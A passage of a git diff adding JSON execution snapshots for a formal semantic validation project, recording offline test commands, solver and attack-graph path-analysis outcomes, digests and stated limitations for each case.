"evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "db372c0a3a1c0a0ed4700c9e74df2e76447b6bc2", + "source_state": { + "base_revision": "db372c0a3a1c0a0ed4700c9e74df2e76447b6bc2", + "checkout_state": "modified", + "implementation_digest": "0c667bdcb81de158930a56cacab8530bd3bc82d996494c827187feab58f73d2a", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v58.json b/docs/research/formal-semantic-validation/execution-snapshot-v58.json new file mode 100644 index 000000000..83be271d7 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v58.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1365-execution-v57", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v57.json", + "release_revision": "58.0.0", + "release_sha256": "6ce02fc736e9bb2f3818f1bc3ec5603b11f6eb85f0343573d2f82263402409f7" + }, + "captured_at": "2026-09-27T19:51:59.659203+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1365-execution-v58", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1365-execution-v58", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "f4138a50f8ab8f6362def473bfdcbe04b2810d12", + "source_state": { + "base_revision": "f4138a50f8ab8f6362def473bfdcbe04b2810d12", + "checkout_state": "modified", + "implementation_digest": "4f0a64625813fefb5bfdef60f63fe8e16ce486a4abe66f0b494b52de09bcfc14", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v59.json b/docs/research/formal-semantic-validation/execution-snapshot-v59.json new file mode 100644 index 000000000..0b127802b --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v59.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1365-execution-v58", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v58.json", + "release_revision": "59.0.0", + "release_sha256": "87831b5cc4b7790599da48913fb39e266154b03610b015d3b25c31ebf18df410" + }, + "captured_at": "2026-09-27T21:07:04.215252+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + 